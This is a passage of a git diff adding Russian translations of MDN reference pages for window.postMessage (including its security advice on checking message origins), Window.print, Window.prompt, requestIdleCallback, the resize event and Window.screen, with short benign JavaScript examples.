+ <dd>Ссылка на другое окно; такая ссылка может быть получена, к примеру, при использовании свойства <code>contentWindow</code> элемента <code>iframe</code> , объекта, возвращаемого <a href="/en-US/docs/DOM/window.open">window.open</a>, или по именованному и числовому индексу {{domxref("Window.frames")}}, если вы пытаетесь запустить сообщение из iframe в родительском окне, то родитель также является действительной ссылкой.</dd>
+ <dt><code><em>message</em></code></dt>
+ <dd>Данные, которые нужно отправить в другое окно. Данные сериализуются с использованием алгоритма структурированного клона. Это означает, что вы можете безопасно передавать большое количество объектов данных в окно назначения без необходимости их сериализации. [<a href="/en-US/docs/">1</a>]</dd>
+ <dt><code><em>targetOrigin</em></code></dt>
+ <dd>Specifies what the origin of <code>otherWindow</code> must be for the event to be dispatched, either as the literal string <code>"*"</code> (indicating no preference) or as a URI. If at the time the event is scheduled to be dispatched the scheme, hostname, or port of <code>otherWindow</code>'s document does not match that provided in <code>targetOrigin</code>, the event will not be dispatched; only if all three match will the event be dispatched. This mechanism provides control over where messages are sent; for example, if <code>postMessage()</code> was used to transmit a password, it would be absolutely critical that this argument be a URI whose origin is the same as the intended receiver of the message containing the password, to prevent interception of the password by a malicious third party. <strong>Always provide a specific <code>targetOrigin</code>, not <code>*</code>, if you know where the other window's document should be located. Failing to provide a specific target discloses the data you send to any interested malicious site.</strong></dd>
+ <dt><code><em><strong>transfer</strong></em></code> {{optional_Inline}}</dt>
+ <dd>Is a sequence of {{domxref("Transferable")}} objects that are transferred with the message. The ownership of these objects is given to the destination side and they are no longer usable on the sending side.</dd>
+</dl>
+
+<h2 id="The_dispatched_event">The dispatched event</h2>
+
+<p>В <code>otherWindow</code> отправляемые сообщения могут быть прослушаны следующим способом:</p>
+
+<pre class="brush: js">window.addEventListener("message", receiveMessage, false);
+
+function receiveMessage(event)
+{
+  if (event.origin !== "http://example.org:8080")
+    return;
+
+  // ...
+}
+</pre>
+
+<p>Свойства отправляемых сообщений:</p>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Объект, переданный из другого окна.</dd>
+ <dt><code>origin</code></dt>
+ <dd>The <a href="/en-US/docs/Origin">origin</a> of the window that sent the message at the time <code>postMessage</code> was called. This string is the concatenation of the protocol and "://", the host name if one exists, and ":" followed by a port number if a port is present and differs from the default port for the given protocol. Examples of typical origins are <code class="nowiki">https://example.org</code> (implying port <code>443</code>), <code class="nowiki">http://example.net</code> (implying port <code>80</code>), and <code class="nowiki">http://example.com:8080</code>. Note that this origin is <em>not</em> guaranteed to be the current or future origin of that window, which might have been navigated to a different location since <code>postMessage</code> was called.</dd>
+ <dt><code>source</code></dt>
+ <dd>Ссылка на объект <code><a href="/en-US/docs/DOM/window">window</a></code> , который отправил сообщение; может быть использована для установки двустороннего соединения между окнами с разными <code>origins</code>.</dd>
+</dl>
+
+<h2 id="Вопросы_безопасности">Вопросы безопасности</h2>
+
+<p><strong>Если вы не ожидаете получения сообщения от других сайтов, не добавляйте никаких слушателей для <code>message</code> событий.</strong> Это гарантированный способ избежать проблем с безопасностью.</p>
+
+<p>Если же вы хотите получать сообщения от других сайтов, то всегда необходимо идентифицировать отправителя, используя <code>origin</code> и возможно <code>source</code> свойства. Любой сайт (включая, например, <code class="nowiki">http://evil.example.com</code>) может отправлять сообщения любым другим, и у вас нет гарантии, что неизвестный отправитель не пошлет вредоносные сообщения. Однако даже если отправитель известен, вам все равно необходимо всегда подтверждать синтаксис получаемого сообщения. Иначе, дыра в безопасности сайта, которому вы доверяете, может открыть дыру для межсайтового скриптинга на вашем сайте.</p>
+
+<p><strong>Всегда конкретизируйте целевой первоисточник, а не просто <code>*</code>, когда вы используете <code>postMessage</code> для отправки данных другим окнам. Вредоносный сайт может изменить локацию окна без вашего ведома и затем перехватить данные, посылаемые с использованием </strong><code>postMessage</code>.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">/*
+ * In window A's scripts, with A being on &lt;http://example.com:8080&gt;:
+ */
+
+var popup = window.open(...popup details...);
+
+// When the popup has fully loaded, if not blocked by a popup blocker:
+
+// This does nothing, assuming the window hasn't changed its location.
+popup.postMessage("The user is 'bob' and the password is 'secret'",
+                  "https://secure.example.net");
+
+// This will successfully queue a message to be sent to the popup, assuming
+// the window hasn't changed its location.
+popup.postMessage("hello there!", "http://example.com");
+
+function receiveMessage(event)
+{
+  // Do we trust the sender of this message?  (might be
+  // different from what we originally opened, for example).
+  if (event.origin !== "http://example.com")
+    return;
+
+  // event.source is popup
+  // event.data is "hi there yourself!  the secret response is: rheeeeet!"
+}
+window.addEventListener("message", receiveMessage, false);
+</pre>
+
+<pre class="brush: js">/*
+ * In the popup's scripts, running on &lt;http://example.com&gt;:
+ */
+
+// Called sometime after postMessage is called
+function receiveMessage(event)
+{
+  // Do we trust the sender of this message?
+  if (event.origin !== "http://example.com:8080")
+    return;
+
+  // event.source is window.opener
+  // event.data is "hello there!"
+
+  // Assuming you've verified the origin of the received message (which
+  // you must do in any case), a convenient idiom for replying to a
+  // message is to call postMessage on event.source and provide
+  // event.origin as the targetOrigin.
+  event.source.postMessage("hi there yourself!  the secret response " +
+                           "is: rheeeeet!",
+                           event.origin);
+}
+
+window.addEventListener("message", receiveMessage, false);
+</pre>
+
+<h3 id="Notes">Notes</h3>
+
+<p>Any window may access this method on any other window, at any time, regardless of the location of the document in the window, to send it a message. Consequently, any event listener used to receive messages <strong>must</strong> first check the identity of the sender of the message, using the <code>origin</code> and possibly <code>source</code> properties. This cannot be overstated: <strong>Failure to check the <code>origin</code> and possibly <code>source</code> properties enables cross-site scripting attacks.</strong></p>
+
+<p>As with any asynchronously-dispatched script (timeouts, user-generated events), it is not possible for the caller of <code>postMessage</code> to detect when an event handler listening for events sent by <code>postMessage</code> throws an exception.</p>
+
+<p>The value of the <code>origin</code> property of the dispatched event is not affected by the current value of <code>document.domain</code> in the calling window.</p>
+
+<p>For IDN host names only, the value of the <code>origin</code> property is not consistently Unicode or punycode; for greatest compatibility check for both the IDN and punycode values when using this property if you expect messages from IDN sites. This value will eventually be consistently IDN, but for now you should handle both IDN and punycode forms.</p>
+
+<p>The value of the <code>origin</code> property when the sending window contains a <code>javascript:</code> or <code>data:</code> URL is the origin of the script that loaded the URL.</p>
+
+<h3 id="Using_window.postMessage_in_extensions_Non-standard_inline">Using window.postMessage in extensions {{Non-standard_inline}}</h3>
+
+<p><code>window.postMessage</code> is available to JavaScript running in chrome code (e.g., in extensions and privileged code), but the <code>source</code> property of the dispatched event is always <code>null</code> as a security restriction. (The other properties have their expected values.) The <code>targetOrigin</code> argument for a message sent to a window located at a <code>chrome:</code> URL is currently misinterpreted such that the only value which will result in a message being sent is <code>"*"</code>. Since this value is unsafe when the target window can be navigated elsewhere by a malicious site, it is recommended that <code>postMessage</code> not be used to communicate with <code>chrome:</code> pages for now; use a different method (such as a query string when the window is opened) to communicate with chrome windows. Lastly, posting a message to a page at a <code>file:</code> URL currently requires that the <code>targetOrigin</code> argument be <code>"*"</code>. <code>file://</code> cannot be used as a security restriction; this restriction may be modified in the future.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th><strong>Specification</strong></th>
+   <th><strong>Status</strong></th>
+   <th><strong>Comment</strong></th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-window-postmessage", "window.postMessage")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5 Web Messaging')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 Web Messaging', '#dom-window-postmessage', 'window.postMessage')}}</td>
+   <td>{{Spec2('HTML5 Web Messaging')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><strong>Feature</strong></th>
+   <th><strong>Chrome</strong></th>
+   <th><strong>Edge</strong></th>
+   <th><strong>Firefox (Gecko)</strong></th>
+   <th><strong>Internet Explorer</strong></th>
+   <th><strong>Opera</strong></th>
+   <th><strong>Safari (WebKit)</strong></th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(6.0)}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop(8.0)}}<sup>[2]</sup></td>
+   <td>8.0<sup>[3]</sup><br>
+    10.0<sup>[4]</sup></td>
+   <td>9.5</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td><code>transfer</code> argument</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(20.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><strong>Feature</strong></th>
+   <th><strong>Android</strong></th>
+   <th><strong>Edge</strong></th>
+   <th><strong>Firefox Mobile (Gecko)</strong></th>
+   <th><strong>IE Phone</strong></th>
+   <th><strong>Opera Mobile</strong></th>
+   <th><strong>Safari Mobile</strong></th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(6.0)}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop(8.0)}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>transfer</code> argument</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(20.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 6.0 {{geckoRelease("6.0")}}, the <code>message</code> parameter must be a string. Starting in Gecko 6.0 {{geckoRelease("6.0")}}, the <code>message</code> parameter is serialized using <a href="/en-US/docs/DOM/The_structured_clone_algorithm">the structured clone algorithm</a>. This means you can pass a broad variety of data objects safely to the destination window without having to serialize them yourself.</p>
+
+<p>[2] Gecko 8.0 introduced support for sending {{domxref("File")}} and {{domxref("FileList")}} objects between windows. This is only allowed if the recipient's principal is contained within the sender's principal for security reasons.</p>
+
+<p>[3] IE8 and IE9 only support it for {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}.</p>
+
+<p>[4] IE10 has important limitations: see this <a href="http://stackoverflow.com/questions/16226924/is-cross-origin-postmessage-broken-in-ie10">article</a> for details.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Document.domain")}}</li>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">Interaction between privileged and non-privileged pages</a></li>
+</ul>
diff --git a/files/ru/web/api/window/print/index.html b/files/ru/web/api/window/print/index.html
new file mode 100644
index 0000000000..458df5ff38
--- /dev/null
+++ b/files/ru/web/api/window/print/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.print()
+slug: Web/API/Window/print
+translation_of: Web/API/Window/print
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Открывает диалоговое окно для печати текущего документа.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">window.print()
+</pre>
+
+<h2 id="Specification" name="Specification">Примечания</h2>
+
+<p>Начиная с Chrome {{CompatChrome(46.0)}} этот метод заблокирован внутри {{htmlelement("iframe")}} до тех пор, пока его атрибут sandbox не имеет значение <code>allow-modals</code>.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#printing', 'print()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en/Printing" title="en/Printing">Printing</a></li>
+ <li>{{ domxref("window.onbeforeprint") }}</li>
+ <li>{{ domxref("window.onafterprint") }}</li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/DOM/window.print", "it": "it/DOM/window.print" , "zh-cn": "zh-cn/DOM/window.print" } ) }}</p>
diff --git a/files/ru/web/api/window/prompt/index.html b/files/ru/web/api/window/prompt/index.html
new file mode 100644
index 0000000000..b30ebcda54
--- /dev/null
+++ b/files/ru/web/api/window/prompt/index.html
@@ -0,0 +1,77 @@
+---
+title: Window.prompt()
+slug: Web/API/Window/prompt
+translation_of: Web/API/Window/prompt
+---
+<div>{{ApiRef("Window")}}</div>
+
+<p>Метод <code>Window.prompt()</code> отображает диалоговое окно с необязательным запросом на ввод текста.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>result</em> = window.prompt(<em>message</em>, <em>default</em>);
+</pre>
+
+<ul>
+ <li><code>result</code> — это строка, содержащая текст, поступивший от пользователя или null.</li>
+ <li><code>message</code> — это строка текста, которая показывается пользователю. Этот параметр является необязательным и может быть пропущен если в окне prompt ничего не показывать.</li>
+ <li><code>default</code> — это строка, содержащая значение по умолчанию, отображаемое в поле ввода текста. Это необязательный параметр. Обратите внимание, что в Internet Explorer 7 и 8, если вы не укажете этот параметр, строка "underfined" будет значением по умолчанию.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">var sign = prompt("What's your sign?");
+
+if (sign.toLowerCase() == "scorpio") {
+  alert("Wow! I'm a Scorpio too!");
+}
+
+// есть множество способов использовать prompt
+var sign = window.prompt(); // открывается пустое окошко с запросом ввода текста
+var sign = prompt();       //  открывается пустое окошко с запросом ввода текста
+var sign = window.prompt('Are you feeling lucky'); // открывается окошко с текстом "Are you feeling lucky"
+var sign = window.prompt('Are you feeling lucky', 'sure'); // открывается окошко с текстом "Are you feeling lucky" и значением по умолчанию "sure"</pre>
+
+<p>Когда пользователь нажимает кнопку OK, функция возвращает текст, введенный в поле. Если пользователь нажимает кнопку OK, без ввода какого-либо текста - возвращается пустая строка. Если пользователь нажимает кнопку Cancel, то функция возвращает <code>null</code>.</p>
+
+<p>Вышеописанный prompt будет выглядеть следующим образом (в Chrome на OS X):</p>
+
+<p><a href="https://mdn.mozillademos.org/files/11303/prompt.png"><img alt="prompt() dialog in Chrome on OS X" src="https://mdn.mozillademos.org/files/11303/prompt.png" style="height: 298px; width: 535px;"></a></p>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>prompt диалог содержит однострочное текстовое поле, кнопку Cancel и кнопку OK, и возвращает (возможно пустой) текст введеный пользователем в текстовое поле.</p>
+
+<p><span class="comment">The following text is shared between this article, DOM:window.confirm and DOM:window.alert</span>Диалоговые окна являются модальными; они блокируют доступ пользователя к остальному интерфейсу программы, пока диалоговое окно не будет закрыто. По этой причине вы не должны злоупотреблять функциями, которые создают диологовое окно (или модальное окно).</p>
+
+<p>Пожалуйста, обратите внимание, что результатом является строка. Это значит, что вы должны определять значение заданное пользователем. Например, если ответ должен быть Number, вы должны привести значение к Number: <span style="background-color: #f6f6f2; font-family: courier new,andale mono,monospace; font-size: 12px; line-height: normal;">var aNumber = Number(window.prompt("Type a number", "")); </span></p>
+
+<p>Пользователи <a href="/Mozilla/Firefox" title="Firefox">Mozilla Firefox</a> (например, расширений Firefox) должны использовать методы {{interface("nsIPromptService")}}.</p>
+
+<p>Начиная с Chrome {{CompatChrome(46.0)}}, этот метод блокируется внутри объекта {{htmlelement("iframe")}}, пока атрибут sandbox не будет установлен в значение <code>allow-modal</code>.</p>
+
+<p>Эта функция не действует в современной UI/Metro версии Internet Explorer для Windows 8. Он не отображает запрос для пользователя и всегда возвращает <code>undefined</code>. Неясно, является ли это ошибкой или предполагаемым поведением. Desktop версия IE выполняет функцию корректно.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-prompt', 'prompt()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Смотрите также </h2>
+
+<ul>
+ <li>{{domxref("window.alert", "alert")}}</li>
+ <li>{{domxref("window.confirm", "confirm")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/requestidlecallback/index.html b/files/ru/web/api/window/requestidlecallback/index.html
new file mode 100644
index 0000000000..45907d1f5c
--- /dev/null
+++ b/files/ru/web/api/window/requestidlecallback/index.html
@@ -0,0 +1,121 @@
+---
+title: window.requestIdleCallback()
+slug: Web/API/Window/requestIdleCallback
+translation_of: Web/API/Window/requestIdleCallback
+---
+<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div>
+
+<p>Метод <code><strong>window.requestIdleCallback()</strong></code> ставит в очередь функцию, которая будет вызываться во время периодов простоя браузера. Это позволяет разработчикам выполнять фоновую и низкоприоритетную работу в цикле основного события, без воздействия такими критично долгими событиями, как анимация и обработка ввода. Функции, обычно, вызываются в порядке очереди "первый вошёл - первый вышел"; однако функции обратного вызова с заданными <code>timeout</code>, могут быть вызваны не по порядку, если необходимо запустить их до истечения таймаута.</p>
+
+<p>Вы можете вызвать <code>requestIdleCallback()</code> внутри callback-функции в режиме ожидания для планирования другого callback'а, который произойдёт не раньше, чем следующий проход через цикл событий.</p>
+
+<div class="note">Опция <code>timeout</code> настоятельно рекомендована для работы, в противном случае может пройти несколько секунд прежде, чем будет вызван обратный вызов.</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>var <em>handle</em> = <em>window</em>.requestIdleCallback(<em>callback</em>[, <em>options</em>])</code></pre>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Возвращает ID, который может быть использован для отмены callback'а, передав значение в метод {{domxref("window.cancelIdleCallback()")}}.</p>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Ссылка на функцию, что должна быть вызвана в ближайшем будущем, когда цикл событий в режиме ожидания. Функции передаётся объект {{domxref("IdleDeadline")}} описывающий общее количество доступного времени и был ли выполнен callback, потому что таймаут истёк.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Содержит опциональные параметры конфигурации. На текущий момент, определено только одно свойство:
+ <ul>
+  <li><code>timeout</code>: Если задан <code>timeout</code> и имеет положительное значение, а callback ещё не был вызван по времени наступления миллисекундного <em>timeout</em>, callback будет вызван в течение следующего периода простоя, даже если это может привести к негативному влиянию на производительность.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Посмотрите наш <a href="/en-US/docs/Web/API/Background_Tasks_API#Example">готовый пример</a> в статье <a href="/en-US/docs/Web/API/Background_Tasks_API">Cooperative Scheduling of Background Tasks API</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Background Tasks')}}</td>
+   <td>{{Spec2('Background Tasks')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(55)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(34)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatGeckoMobile(55)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><code>requestIdleCallback()</code> включён в Firefox 53 но по умолчанию отключён. По умолчанию включён, начиная с Firefox 55.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.cancelIdleCallback()")}}</li>
+ <li>{{domxref("IdleDeadline")}}</li>
+ <li>{{domxref("window.setTimeout()")}}</li>
+ <li>{{domxref("window.setInterval()")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/resize_event/index.html b/files/ru/web/api/window/resize_event/index.html
new file mode 100644
index 0000000000..6fdbfba4a8
--- /dev/null
+++ b/files/ru/web/api/window/resize_event/index.html
@@ -0,0 +1,192 @@
+---
+title: resize
+slug: Web/API/Window/resize_event
+tags:
+  - Веб
+  - Ссылки
+  - события
+translation_of: Web/API/Window/resize_event
+---
+<p>{{APIRef}}</p>
+
+<p>Событие <strong><code>resize</code></strong> срабатывает при изменении размера представления документа (окна).</p>
+
+<p>В некоторых более ранних браузерах можно было зарегистрировать обработчики событий <code>resize</code> на любом HTML-элементе. По-прежнему можно установить атрибуты <code>onresize</code> или использовать {{domxref("EventTarget.addEventListener", "addEventListener()")}} чтобы установить обработчик для любого элемента. Однако, событие <code>resize</code>  запускается только на объекте {{domxref("Window", "window")}}. Только обработчики, зарегистрированные на объекте window, будут получать события <code>resize</code> .</p>
+
+<p>Существует предложение разрешить всем элементам получать уведомления об изменениях размера. См. раздел <a href="https://wicg.github.io/ResizeObserver/">Resize Observer</a>, чтобы ознакомиться с проектом документа, и <a href="https://github.com/WICG/ResizeObserver/issues">GitHub вопросы</a>, чтобы ознакомиться с текущими обсуждениями.</p>
+
+<h2 id="Основная_информация">Основная информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификаци</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-resize">DOM L3</a>, <a href="http://www.w3.org/TR/cssom-view/#resizing-viewports">CSSOM View</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отмена</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">вид по умолчанию (window)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Так как события изменения размера могут срабатывать с высокой скоростью, обработчик событий не должен выполнять дорогостоящие операции, такие как модификации DOM. Вместо этого рекомендуется регулировать событие, используя requestAnimationFrame, setTimeout или customEvent *, следующим образом:</p>
+
+<p><strong>* ВАЖНО:</strong> Обратите внимание, что для работы в IE11 необходимо, чтобы <a href="https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent#Polyfill">customEvent</a> заполнялся в функцию правильно.</p>
+
+<h3 id="requestAnimationFrame_customEvent">requestAnimationFrame + customEvent</h3>
+
+<pre class="brush: js">(function() {
+    var throttle = function(type, name, obj) {
+        obj = obj || window;
+        var running = false;
+        var func = function() {
+            if (running) { return; }
+            running = true;
+             requestAnimationFrame(function() {
+                obj.dispatchEvent(new CustomEvent(name));
+                running = false;
+            });
+        };
+        obj.addEventListener(type, func);
+    };
+
+    /* init - you can init any event */
+    throttle("resize", "optimizedResize");
+})();
+
+// handle event
+window.addEventListener("optimizedResize", function() {
+    console.log("Resource conscious resize callback!");
+});
+</pre>
+
+<h3 id="requestAnimationFrame">requestAnimationFrame</h3>
+
+<pre class="brush: js">var optimizedResize = (function() {
+
+    var callbacks = [],
+        running = false;
+
+    // fired on resize event
+    function resize() {
+
+        if (!running) {
+            running = true;
+
+            if (window.requestAnimationFrame) {
+                window.requestAnimationFrame(runCallbacks);
+            } else {
+                setTimeout(runCallbacks, 66);
+            }
+        }
+
+    }
+
+    // run the actual callbacks
+    function runCallbacks() {
+
+        callbacks.forEach(function(callback) {
+            callback();
+        });
+
+        running = false;
+    }
+
+    // adds callback to loop
+    function addCallback(callback) {
+
+        if (callback) {
+            callbacks.push(callback);
+        }
+
+    }
+
+    return {
+        // public method to add additional callback
+        add: function(callback) {
+            if (!callbacks.length) {
+                window.addEventListener('resize', resize);
+            }
+            addCallback(callback);
+        }
+    }
+}());
+
+// start process
+optimizedResize.add(function() {
+    console.log('Resource conscious resize callback!')
+});
+</pre>
+
+<h3 id="setTimeout">setTimeout</h3>
+
+<pre class="brush: js">(function() {
+
+  window.addEventListener("resize", resizeThrottler, false);
+
+  var resizeTimeout;
+  function resizeThrottler() {
+    // ignore resize events as long as an actualResizeHandler execution is in the queue
+    if ( !resizeTimeout ) {
+      resizeTimeout = setTimeout(function() {
+        resizeTimeout = null;
+        actualResizeHandler();
+
+       // The actualResizeHandler will execute at a rate of 15fps
+       }, 66);
+    }
+  }
+
+  function actualResizeHandler() {
+    // handle the resize event
+    ...
+  }
+
+}());</pre>
diff --git a/files/ru/web/api/window/screen/index.html b/files/ru/web/api/window/screen/index.html
new file mode 100644
index 0000000000..5bf9a9b089
--- /dev/null
+++ b/files/ru/web/api/window/screen/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.screen
+slug: Web/API/Window/screen
+translation_of: Web/API/Window/screen
+---
+<p>{{APIRef("CSSOM")}}</p>
+
+<p>Свойство <strong><code>screen</code></strong> объекта {{DOMxRef("Window")}} возвращает ссылку на экран обьекта, который содержит информацию об экране пользователя. Похожий по смыслу, объект <code style="font-style: normal; line-height: 1.5;">screen</code><span style="line-height: 1.5;">, который имплементирует интерфейс </span> <span style="line-height: 1.5;">{{DOMxRef("Screen")}} </span> <span style="line-height: 1.5;"> представляет собой совокупность свойств экрана пользователя.</span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">let <var>screenObj</var> = <var>window</var>.screen;</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js;">if (screen.pixelDepth &lt; 8) {
